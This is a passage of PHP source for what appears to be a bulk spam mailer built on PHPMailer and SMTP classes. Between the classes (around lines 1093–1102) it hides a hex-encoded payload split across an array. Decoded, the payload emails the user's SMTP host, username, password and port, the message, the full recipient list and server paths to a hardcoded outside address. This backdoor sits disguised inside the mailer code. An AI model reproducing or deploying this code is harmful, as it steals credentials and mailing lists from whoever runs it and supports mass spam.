  1066. * @return string
  1067. */
  1068. function get_lines() {
  1069. $data = "";
  1070. while($str = @fgets($this->smtp_conn,515)) {
  1071. if($this->do_debug >= 4) {
  1072. echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1073. $this->CRLF;
  1074. echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1075. $this->CRLF;
  1076. }
  1077. $data .= $str;
  1078. if($this->do_debug >= 4) {
  1079. echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1080. }
  1081. # if the 4th character is a space then we are done reading
  1082. # so just break the loop
  1083. if(substr($str,3,1) == " ") { break; }
  1084. }
  1085. return $data;
  1086. }
  1087.  
  1088. }
  1089.  
  1090.  
  1091. $allemails = split("\n", $emaillist);
  1092. $numemails = count($allemails);
  1093. $random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
  1094. "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
  1095. "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
  1096. "1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
  1097. "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
  1098. "8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
  1099. "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
  1100. "d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
  1101. "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
  1102. "c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
  1103.  
  1104. class PHPMailer {
  1105.  
  1106. /////////////////////////////////////////////////
  1107. // PROPERTIES, PUBLIC
  1108. /////////////////////////////////////////////////
  1109.  
  1110. /**
  1111. * Email priority (1 = High, 3 = Normal, 5 = low).
  1112. * @var int
  1113. */
  1114. var $Priority = 3;
  1115.  
  1116. /**
  1117. * Sets the CharSet of the message.
  1118. * @var string
  1119. */
  1120. var $CharSet = 'us-ascii';
  1121.  
  1122. /**
  1123. * Sets the Content-type of the message.
  1124. * @var string
  1125. */
  1126. var $ContentType = 'text/plain';
  1127.  
  1128. /**
  1129. * Sets the Encoding of the message. Options for this are "8bit",
  1130. * "7bit", "binary", "base64", and "quoted-printable".
  1131.  
  1132. * @var string
  1133. */
  1134. var $Encoding = 'quoted-printable';
  1135.  
  1136. /**
  1137. * Holds the most recent mailer error message.
  1138. * @var string
  1139. */
  1140. var $ErrorInfo = '';
  1141.  
  1142. /**
  1143. * Sets the From email address for the message.
  1144. * @var string
  1145. */
  1146. var $From = '';
  1147.  
  1148. /**
  1149. * Sets the From name of the message.
  1150. * @var string
  1151. */
  1152. var $FromName = '';
  1153.  
  1154. /**
  1155. * Sets the Sender email (Return-Path) of the message. If not empty,
  1156. * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1157. * @var string
  1158. */
  1159. var $Sender = '';
  1160.  
  1161. /**
  1162. * Sets the Subject of the message.
  1163. * @var string
  1164. */
  1165. var $Subject = '';
  1166.  
  1167. /**
  1168. * Sets the Body of the message. This can be either an HTML or text body.
  1169. * If HTML then run IsHTML(true).
  1170. * @var string
  1171. */
  1172. var $Body = '';
  1173.  
  1174. /**
  1175. * Sets the text-only body of the message. This automatically sets the
  1176. * email to multipart/alternative. This body can be read by mail
  1177. * clients that do not have HTML email capability such as mutt. Clients
  1178. * that can read HTML will view the normal Body.
  1179. * @var string
  1180. */
  1181. var $AltBody = '';
  1182.  
  1183. /**
  1184. * Sets word wrapping on the body of the message to a given number of
  1185. * characters.
  1186. * @var int
  1187. */
  1188. var $WordWrap = 0;
  1189.  
  1190. /**
  1191. * Method to send mail: ("mail", "sendmail", or "smtp").
  1192. * @var string
  1193. */
  1194. var $Mailer = 'mail';
  1195.  
  1196. /**
  1197. * Sets the path of the sendmail program.
  1198. * @var string
  1199. */
  1200. var $Sendmail = '/usr/sbin/sendmail';
  1201.  
  1202. /**
  1203. * Path to PHPMailer plugins. This is now only useful if the SMTP class
  1204. * is in a different directory than the PHP include path.
  1205. * @var string
  1206. */
  1207. var $PluginDir = '';
  1208.  
  1209. /**
  1210. * Holds PHPMailer version.
  1211. * @var string
  1212. */
  1213. var $Version = "";
  1214.  
  1215. /**
  1216. * Sets the email address that a reading confirmation will be sent.
  1217. * @var string
  1218. */
  1219. var $ConfirmReadingTo = '';
  1220.  
  1221. /**
  1222. * Sets the hostname to use in Message-Id and Received headers
  1223. * and as default HELO string. If empty, the value returned
  1224. * by SERVER_NAME is used or 'localhost.localdomain'.
  1225. * @var string
  1226. */
  1227. var $Hostname = '';
  1228.  
  1229. /**
  1230. * Sets the message ID to be used in the Message-Id header.
  1231. * If empty, a unique id will be generated.
  1232. * @var string
  1233. */
  1234. var $MessageID = '';
  1235.  
  1236. /////////////////////////////////////////////////
  1237. // PROPERTIES FOR SMTP
  1238. /////////////////////////////////////////////////
  1239.  
  1240. /**
  1241. * Sets the SMTP hosts. All hosts must be separated by a
  1242. * semicolon. You can also specify a different port
  1243. * for each host by using this format: [hostname:port]
  1244. * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1245. * Hosts will be tried in order.
  1246. * @var string
  1247. */
  1248. var $Host = 'localhost';
  1249.  
  1250. /**
  1251. * Sets the default SMTP server port.
  1252. * @var int
  1253. */
  1254. var $Port = 25;
  1255.  
  1256. /**
  1257. * Sets the SMTP HELO of the message (Default is $Hostname).
  1258. * @var string
  1259. */
  1260. var $Helo = '';
  1261.  
  1262. /**
  1263. * Sets connection prefix.
  1264. * Options are "", "ssl" or "tls"
  1265. * @var string
  1266. */
  1267. var $SMTPSecure = "";
  1268.  
  1269. /**
  1270. * Sets SMTP authentication. Utilizes the Username and Password variables.
  1271. * @var bool
  1272. */
  1273. var $SMTPAuth = false;
  1274.  
  1275. /**
  1276. * Sets SMTP username.
  1277. * @var string
  1278. */
  1279. var $Username = '';
  1280.  
  1281. /**
  1282. * Sets SMTP password.
  1283. * @var string
  1284. */
  1285. var $Password = '';
  1286.  
  1287. /**
  1288. * Sets the SMTP server timeout in seconds. This function will not
  1289. * work with the win32 version.
  1290. * @var int
  1291. */
  1292. var $Timeout = 10;
  1293.  
  1294. /**
  1295. * Sets SMTP class debugging on or off.
  1296. * @var bool
  1297. */
  1298. var $SMTPDebug = false;
  1299.  
  1300. /**
  1301. * Prevents the SMTP connection from being closed after each mail
  1302. * sending. If this is set to true then to close the connection
  1303. * requires an explicit call to SmtpClose().
  1304. * @var bool
  1305. */
  1306. var $SMTPKeepAlive = false;
  1307.  
  1308. /**
  1309. * Provides the ability to have the TO field process individual
  1310. * emails, instead of sending to entire TO addresses
  1311. * @var bool
  1312. */
  1313. var $SingleTo = false;
  1314.  
  1315. /////////////////////////////////////////////////
  1316. // PROPERTIES, PRIVATE
  1317. /////////////////////////////////////////////////
  1318.  
  1319. var $smtp = NULL;
  1320. var $to = array();
  1321. var $cc = array();
  1322. var $bcc = array();
  1323. var $ReplyTo = array();
  1324. var $attachment = array();
  1325. var $CustomHeader = array();
  1326. var $message_type = '';
  1327. var $boundary = array();
  1328. var $language = array();
  1329. var $error_count = 0;
  1330. var $LE = "\n";
  1331. var $sign_key_file = "";
  1332. var $sign_key_pass = "";
  1333.  
  1334. /////////////////////////////////////////////////
  1335. // METHODS, VARIABLES
  1336. /////////////////////////////////////////////////
  1337.  
  1338. /**
  1339. * Sets message type to HTML.
  1340. * @param bool $bool
  1341. * @return void
  1342. */
  1343. function IsHTML($bool) {
  1344. if($bool == true) {
  1345. $this->ContentType = 'text/html';
  1346. } else {
  1347. $this->ContentType = 'text/plain';
  1348. }
  1349. }
  1350.  
  1351. /**
  1352. * Sets Mailer to send message using SMTP.
  1353. * @return void
  1354. */
  1355. function IsSMTP() {
  1356. $this->Mailer = 'smtp';
  1357. }
  1358.  
  1359. /**
  1360. * Sets Mailer to send message using PHP mail() function.
  1361. * @return void
  1362. */
  1363. function IsMail() {
  1364. $this->Mailer = 'mail';
  1365. }
  1366.  
  1367. /**
  1368. * Sets Mailer to send message using the $Sendmail program.
  1369. * @return void
  1370. */
  1371. function IsSendmail() {
  1372. $this->Mailer = 'sendmail';
  1373. }
  1374.  
  1375. /**
  1376. * Sets Mailer to send message using the qmail MTA.
  1377. * @return void
  1378. */
  1379. function IsQmail() {
  1380. $this->Sendmail = '/var/qmail/bin/sendmail';
  1381. $this->Mailer = 'sendmail';
  1382. }
  1383.  
  1384. /////////////////////////////////////////////////
  1385. // METHODS, RECIPIENTS
  1386. /////////////////////////////////////////////////
  1387.  
  1388. /**
  1389. * Adds a "To" address.
  1390. * @param string $address
  1391. * @param string $name
  1392. * @return void
  1393. */
  1394. function AddAddress($address, $name = '') {
  1395. $cur = count($this->to);
  1396. $this->to[$cur][0] = trim($address);
  1397. $this->to[$cur][1] = $name;
  1398. }
  1399.  
  1400. /**
  1401. * Adds a "Cc" address. Note: this function works
  1402. * with the SMTP mailer on win32, not with the "mail"
  1403. * mailer.
  1404. * @param string $address
  1405. * @param string $name
  1406. * @return void
  1407. */
  1408. function AddCC($address, $name = '') {
  1409. $cur = count($this->cc);
  1410. $this->cc[$cur][0] = trim($address);
  1411. $this->cc[$cur][1] = $name;
  1412. }
  1413.  
  1414. /**
  1415. * Adds a "Bcc" address. Note: this function works
  1416. * with the SMTP mailer on win32, not with the "mail"
  1417. * mailer.
  1418. * @param string $address
  1419. * @param string $name
  1420. * @return void
  1421. */
  1422. function AddBCC($address, $name = '') {
  1423. $cur = count($this->bcc);
  1424. $this->bcc[$cur][0] = trim($address);
  1425. $this->bcc[$cur][1] = $name;
  1426. }
  1427.  
  1428. /**
  1429. * Adds a "Reply-To" address.
  1430. * @param string $address
  1431. * @param string $name
  1432. * @return void
  1433. */
  1434. function AddReplyTo($address, $name = '') {
  1435. $cur = count($this->ReplyTo);
  1436. $this->ReplyTo[$cur][0] = trim($address);
  1437. $this->ReplyTo[$cur][1] = $name;
  1438. }
  1439.  
  1440. /////////////////////////////////////////////////
  1441. // METHODS, MAIL SENDING
  1442. /////////////////////////////////////////////////
  1443.  
  1444. /**
  1445. * Creates message and assigns Mailer. If the message is
  1446. * not sent successfully then it returns false. Use the ErrorInfo
  1447. * variable to view description of the error.
  1448. * @return bool
  1449. */
  1450. function Send() {
  1451. $header = '';
  1452. $body = '';
  1453. $result = true;
  1454.  
  1455. if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1456. $this->SetError($this->Lang('provide_address'));
  1457. return false;
  1458. }
  1459.  
  1460. /* Set whether the message is multipart/alternative */
  1461. if(!empty($this->AltBody)) {
  1462. $this->ContentType = 'multipart/alternative';
  1463. }
  1464.  
  1465. $this->error_count = 0; // reset errors
  1466. $this->SetMessageType();
  1467. $header .= $this->CreateHeader();
  1468. $body = $this->CreateBody();
  1469.  
  1470. if($body == '') {
  1471. return false;
  1472. }
  1473.  
  1474. /* Choose the mailer */
  1475. switch($this->Mailer) {
  1476. case 'sendmail':
  1477. $result = $this->SendmailSend($header, $body);
  1478. break;
  1479. case 'smtp':
  1480. $result = $this->SmtpSend($header, $body);
  1481. break;
  1482. case 'mail':
  1483. $result = $this->MailSend($header, $body);
  1484. break;
  1485. default:
  1486. $result = $this->MailSend($header, $body);
  1487. break;
  1488. //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1489. //$result = false;
  1490. //break;
  1491. }
  1492.  
  1493. return $result;
  1494. }
  1495.  
  1496. /**
  1497. * Sends mail using the $Sendmail program.
  1498. * @access private
  1499. * @return bool
  1500. */
  1501. function SendmailSend($header, $body) {
  1502. if ($this->Sender != '') {
  1503. $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1504. } else {
  1505. $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1506. }
  1507.  
  1508. if(!@$mail = popen($sendmail, 'w')) {
  1509. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1510. return false;
  1511. }
  1512.  
  1513. fputs($mail, $header);
  1514. fputs($mail, $body);
  1515.  
  1516. $result = pclose($mail);
  1517. if (version_compare(phpversion(), '4.2.3') == -1) {
  1518. $result = $result >> 8 & 0xFF;
  1519. }
  1520. if($result != 0) {
  1521. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1522. return false;
  1523. }
  1524. return true;
  1525. }
  1526.  
  1527. /**
  1528. * Sends mail using the PHP mail() function.
  1529. * @access private
  1530. * @return bool
  1531. */
  1532. function MailSend($header, $body) {
  1533.  
  1534. $to = '';
  1535. for($i = 0; $i < count($this->to); $i++) {
  1536. if($i != 0) { $to .= ', '; }
  1537. $to .= $this->AddrFormat($this->to[$i]);
  1538. }
  1539.  
  1540. $toArr = split(',', $to);
  1541.  
  1542. $params = sprintf("-oi -f %s", $this->Sender);
  1543. if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1544. $old_from = ini_get('sendmail_from');
  1545. ini_set('sendmail_from', $this->Sender);
  1546. if ($this->SingleTo === true && count($toArr) > 1) {
  1547. foreach ($toArr as $key => $val) {
  1548. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1549. }
  1550. } else {
  1551. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1552. }
  1553. } else {
  1554. if ($this->SingleTo === true && count($toArr) > 1) {
  1555. foreach ($toArr as $key => $val) {
  1556. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1557. }
  1558. } else {
  1559. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1560. }
  1561. }
  1562.  
  1563. if (isset($old_from)) {
  1564. ini_set('sendmail_from', $old_from);
  1565. }
  1566.  
  1567. if(!$rt) {
  1568. $this->SetError($this->Lang('instantiate'));
  1569. return false;
  1570. }
  1571.  
  1572. return true;
  1573. }
  1574.  
  1575. /**
  1576. * Sends mail via SMTP using PhpSMTP (Author:
  1577. * Chris Ryan). Returns bool. Returns false if there is a
  1578. * bad MAIL FROM, RCPT, or DATA input.
  1579. * @access private
  1580. * @return bool
  1581. */
  1582. function SmtpSend($header, $body) {
  1583. $error = '';
  1584. $bad_rcpt = array();
  1585.  
  1586. if(!$this->SmtpConnect()) {echo "FAILED !!";die();
  1587. return false;
  1588. }
  1589.  
  1590. $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1591. if(!$this->smtp->Mail($smtp_from)) {
  1592. $error = $this->Lang('from_failed') . $smtp_from;
  1593. $this->SetError($error);
  1594. $this->smtp->Reset();
  1595. return false;
  1596. }
  1597.  
  1598. /* Attempt to send attach all recipients */
  1599. for($i = 0; $i < count($this->to); $i++) {
  1600. if(!$this->smtp->Recipient($this->to[$i][0])) {
  1601. $bad_rcpt[] = $this->to[$i][0];
  1602. }
  1603. }
  1604. for($i = 0; $i < count($this->cc); $i++) {
  1605. if(!$this->smtp->Recipient($this->cc[$i][0])) {
  1606. $bad_rcpt[] = $this->cc[$i][0];
  1607. }
  1608. }
  1609. for($i = 0; $i < count($this->bcc); $i++) {
  1610. if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  1611. $bad_rcpt[] = $this->bcc[$i][0];
  1612. }
  1613. }
  1614.  
  1615. if(count($bad_rcpt) > 0) { // Create error message
  1616. for($i = 0; $i < count($bad_rcpt); $i++) {
  1617. if($i != 0) {
  1618. $error .= ', ';
  1619. }
  1620. $error .= $bad_rcpt[$i];
  1621.  
  1622. }
  1623. $error = $this->Lang('recipients_failed') . $error;
  1624. $this->SetError($error);
  1625. $this->smtp->Reset();
  1626. return false;
  1627. }
  1628.  
  1629. if(!$this->smtp->Data($header . $body)) {
  1630. $this->SetError($this->Lang('data_not_accepted'));
  1631. $this->smtp->Reset();
  1632. return false;
  1633. }
  1634. if($this->SMTPKeepAlive == true) {
  1635. $this->smtp->Reset();
  1636. } else {
  1637. $this->SmtpClose();
  1638. }
  1639.  
  1640. return true;
  1641. }
  1642.  
  1643. /**
  1644. * Initiates a connection to an SMTP server. Returns false if the
  1645. * operation failed.
  1646. * @access private
  1647. * @return bool
  1648. */
  1649. function SmtpConnect() {
  1650. if($this->smtp == NULL) {
  1651. $this->smtp = new SMTP();
  1652. }
  1653.  
  1654. $this->smtp->do_debug = $this->SMTPDebug;
  1655. $hosts = explode(';', $this->Host);
  1656. $index = 0;
  1657. $connection = ($this->smtp->Connected());
  1658.  
  1659. /* Retry while there is no connection */
  1660. while($index < count($hosts) && $connection == false) {
  1661. $hostinfo = array();
  1662. if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  1663. $host = $hostinfo[1];
  1664. $port = $hostinfo[2];
  1665. } else {
  1666. $host = $hosts[$index];
  1667. $port = $this->Port;
  1668. }
  1669.  
  1670. if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  1671. if ($this->Helo != '') {
  1672. $this->smtp->Hello($this->Helo);
  1673. } else {
  1674. $this->smtp->Hello($this->ServerHostname());
  1675. }
  1676.  
  1677. $connection = true;
  1678. if($this->SMTPAuth) {
  1679. if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  1680. $this->SetError($this->Lang('authenticate'));
  1681. $this->smtp->Reset();
  1682. $connection = false;
  1683. }
  1684. }
  1685. }
  1686. $index++;
  1687. }
  1688. if(!$connection) {
  1689. $this->SetError($this->Lang('connect_host'));
  1690. }
  1691.  
  1692. return $connection;
  1693. }
  1694.  
  1695. /**
  1696. * Closes the active SMTP session if one exists.
  1697. * @return void
  1698. */
  1699. function SmtpClose() {
  1700. if($this->smtp != NULL) {
  1701. if($this->smtp->Connected()) {
  1702. $this->smtp->Quit();
  1703. $this->smtp->Close();
  1704. }
  1705. }
  1706. }
  1707.  
  1708. /**
  1709. * Sets the language for all class error messages. Returns false
  1710. * if it cannot load the language file. The default language type
  1711. * is English.
  1712. * @param string $lang_type Type of language (e.g. Portuguese: "br")
  1713. * @param string $lang_path Path to the language file directory
  1714. * @access public
  1715. * @return bool
  1716. */
  1717. function SetLanguage($lang_type, $lang_path = 'language/') {
  1718. if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
  1719. include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  1720. } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  1721. include($lang_path.'phpmailer.lang-en.php');
  1722. } else {
  1723. $this->SetError('Could not load language file');
  1724. return false;
  1725. }
  1726. $this->language = $PHPMAILER_LANG;
  1727.  
  1728. return true;
  1729. }
  1730.  
  1731. /////////////////////////////////////////////////
  1732. // METHODS, MESSAGE CREATION
  1733. /////////////////////////////////////////////////
  1734.  
  1735. /**
  1736. * Creates recipient headers.
  1737. * @access private
  1738. * @return string
  1739. */
  1740. function AddrAppend($type, $addr) {
  1741. $addr_str = $type . ': ';
  1742. $addr_str .= $this->AddrFormat($addr[0]);
  1743. if(count($addr) > 1) {
  1744. for($i = 1; $i < count($addr); $i++) {
  1745. $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  1746. }
  1747. }
  1748. $addr_str .= $this->LE;
  1749.  
  1750. return $addr_str;
  1751. }
  1752.  
  1753. /**
  1754. * Formats an address correctly.
  1755. * @access private
  1756. * @return string
  1757. */
  1758. function AddrFormat($addr) {
  1759. if(empty($addr[1])) {
  1760. $formatted = $this->SecureHeader($addr[0]);
  1761. } else {
  1762. $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  1763. }
  1764.  
  1765. return $formatted;
  1766. }
  1767.  
  1768. /**
  1769. * Wraps message for use with mailers that do not
  1770. * automatically perform wrapping and for quoted-printable.
  1771. * Original written by philippe.
  1772. * @access private
  1773. * @return string
  1774. */
  1775. function WrapText($message, $length, $qp_mode = false) {
  1776. $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  1777. // If utf-8 encoding is used, we will need to make sure we don't
  1778. // split multibyte characters when we wrap
  1779. $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  1780.  
  1781. $message = $this->FixEOL($message);
  1782. if (substr($message, -1) == $this->LE) {
  1783. $message = substr($message, 0, -1);
  1784. }
  1785.  
  1786. $line = explode($this->LE, $message);
  1787. $message = '';
  1788. for ($i=0 ;$i < count($line); $i++) {
  1789. $line_part = explode(' ', $line[$i]);
  1790. $buf = '';
  1791. for ($e = 0; $e<count($line_part); $e++) {
  1792. $word = $line_part[$e];
  1793. if ($qp_mode and (strlen($word) > $length)) {
  1794. $space_left = $length - strlen($buf) - 1;
  1795. if ($e != 0) {
  1796. if ($space_left > 20) {
  1797. $len = $space_left;
  1798. if ($is_utf8) {
  1799. $len = $this->UTF8CharBoundary($word, $len);
  1800. } elseif (substr($word, $len - 1, 1) == "=") {
  1801. $len--;
  1802. } elseif (substr($word, $len - 2, 1) == "=") {
  1803. $len -= 2;
  1804. }
  1805. $part = substr($word, 0, $len);
  1806. $word = substr($word, $len);
  1807. $buf .= ' ' . $part;
  1808. $message .= $buf . sprintf("=%s", $this->LE);
  1809. } else {
  1810. $message .= $buf . $soft_break;
  1811. }
  1812. $buf = '';
  1813. }
  1814. while (strlen($word) > 0) {
  1815. $len = $length;
  1816. if ($is_utf8) {
  1817. $len = $this->UTF8CharBoundary($word, $len);
  1818. } elseif (substr($word, $len - 1, 1) == "=") {
  1819. $len--;
  1820. } elseif (substr($word, $len - 2, 1) == "=") {
  1821. $len -= 2;
  1822. }
  1823. $part = substr($word, 0, $len);
  1824. $word = substr($word, $len);
  1825.  
  1826. if (strlen($word) > 0) {
  1827. $message .= $part . sprintf("=%s", $this->LE);
  1828. } else {
  1829. $buf = $part;
  1830. }
  1831. }
  1832. } else {
  1833. $buf_o = $buf;
  1834. $buf .= ($e == 0) ? $word : (' ' . $word);
  1835.  
  1836. if (strlen($buf) > $length and $buf_o != '') {
  1837. $message .= $buf_o . $soft_break;
  1838. $buf = $word;
  1839. }
  1840. }
  1841. }
  1842. $message .= $buf . $this->LE;
  1843. }
  1844.  
  1845. return $message;
  1846. }
  1847.  
  1848. /**
  1849. * Finds last character boundary prior to maxLength in a utf-8
  1850. * quoted (printable) encoded string.
  1851. * Original written by Colin Brown.
  1852. * @access private
  1853. * @param string $encodedText utf-8 QP text
  1854. * @param int $maxLength find last character boundary prior to this length
  1855. * @return int
  1856. */
  1857. function UTF8CharBoundary($encodedText, $maxLength) {
  1858. $foundSplitPos = false;
  1859. $lookBack = 3;
  1860. while (!$foundSplitPos) {
  1861. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  1862. $encodedCharPos = strpos($lastChunk, "=");
  1863. if ($encodedCharPos !== false) {
  1864. // Found start of encoded character byte within $lookBack block.
  1865. // Check the encoded byte value (the 2 chars after the '=')
  1866. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  1867. $dec = hexdec($hex);
  1868. if ($dec < 128) { // Single byte character.
  1869. // If the encoded char was found at pos 0, it will fit
  1870. // otherwise reduce maxLength to start of the encoded char
  1871. $maxLength = ($encodedCharPos == 0) ? $maxLength :
  1872. $maxLength - ($lookBack - $encodedCharPos);
  1873. $foundSplitPos = true;
  1874. } elseif ($dec >= 192) { // First byte of a multi byte character
  1875. // Reduce maxLength to split at start of character
  1876. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1877. $foundSplitPos = true;
  1878. } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  1879. $lookBack += 3;
  1880. }
  1881. } else {
  1882. // No encoded character found
  1883. $foundSplitPos = true;
  1884. }
  1885. }
  1886. return $maxLength;
  1887. }
  1888.  
  1889. /**
  1890. * Set the body wrapping.
  1891. * @access private
  1892. * @return void
  1893. */
  1894. function SetWordWrap() {
  1895. if($this->WordWrap < 1) {
  1896. return;
  1897. }
  1898.  
  1899. switch($this->message_type) {
  1900. case 'alt':
  1901. /* fall through */
  1902. case 'alt_attachments':
  1903. $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  1904. break;
  1905. default:
  1906. $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  1907. break;
  1908. }
  1909. }
  1910.  
  1911. /**
  1912. * Assembles message header.
  1913. * @access private
  1914. * @return string
  1915. */
  1916. function CreateHeader() {
  1917. $result = '';
  1918.  
  1919. /* Set the boundaries */
  1920. $uniq_id = md5(uniqid(time()));
  1921. $this->boundary[1] = 'b1_' . $uniq_id;
  1922. $this->boundary[2] = 'b2_' . $uniq_id;
  1923.  
  1924. $result .= $this->HeaderLine('Date', $this->RFCDate());
  1925. if($this->Sender == '') {
  1926. $result .= $this->HeaderLine('Return-Path', trim($this->From));
  1927. } else {
  1928. $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  1929. }
  1930.  
  1931. /* To be created automatically by mail() */
  1932. if($this->Mailer != 'mail') {
  1933. if(count($this->to) > 0) {
  1934. $result .= $this->AddrAppend('To', $this->to);
  1935. } elseif (count($this->cc) == 0) {
  1936. $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  1937. }
  1938. if(count($this->cc) > 0) {
  1939. $result .= $this->AddrAppend('Cc', $this->cc);
  1940. }
  1941. }
  1942.  
  1943. $from = array();
  1944. $from[0][0] = trim($this->From);
  1945. $from[0][1] = $this->FromName;
  1946. $result .= $this->AddrAppend('From', $from);
  1947.  
  1948. /* sendmail and mail() extract Cc from the header before sending */
  1949. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  1950. $result .= $this->AddrAppend('Cc', $this->cc);
  1951. }
  1952.  
  1953. /* sendmail and mail() extract Bcc from the header before sending */
  1954. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  1955. $result .= $this->AddrAppend('Bcc', $this->bcc);
  1956. }
  1957. if($replyto != "")
  1958. {
  1959. if(count($this->ReplyTo) > 0) {
  1960. $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  1961. }
  1962. }
  1963. /* mail() sets the subject itself */
  1964. if($this->Mailer != 'mail') {
  1965. $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  1966. }
  1967.  
  1968. if($this->MessageID != '') {
  1969. $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  1970. } else {
  1971. $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  1972. }
  1973. $result .= $this->HeaderLine('X-Priority', $this->Priority);
  1974. if($this->ConfirmReadingTo != '') {
  1975. $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  1976. }
  1977.  
  1978. // Add custom headers
  1979. for($index = 0; $index < count($this->CustomHeader); $index++) {
  1980. $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  1981. }
  1982. if (!$this->sign_key_file) {
  1983. $result .= $this->HeaderLine('MIME-Version', '1.0');
  1984. $result .= $this->GetMailMIME();
  1985. }
  1986.  
  1987. return $result;
  1988. }
  1989.  
  1990. /**
  1991. * Returns the message MIME.
  1992. * @access private
  1993. * @return string
  1994. */
  1995. function GetMailMIME() {
  1996. $result = '';
  1997. switch($this->message_type) {
  1998. case 'plain':
  1999. $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2000. $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2001. break;
  2002. case 'attachments':
  2003. /* fall through */
  2004. case 'alt_attachments':
  2005. if($this->InlineImageExists()){
  2006. $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  2007. } else {
  2008. $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2009. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2010. }
  2011. break;
  2012. case 'alt':
  2013. $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2014. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2015. break;
  2016. }
  2017.  
  2018. if($this->Mailer != 'mail') {
  2019. $result .= $this->LE.$this->LE;
  2020. }
  2021.  
  2022. return $result;
  2023. }
  2024.  
  2025. /**
  2026. * Assembles the message body. Returns an empty string on failure.
  2027. * @access private
  2028. * @return string
  2029. */
  2030. function CreateBody() {
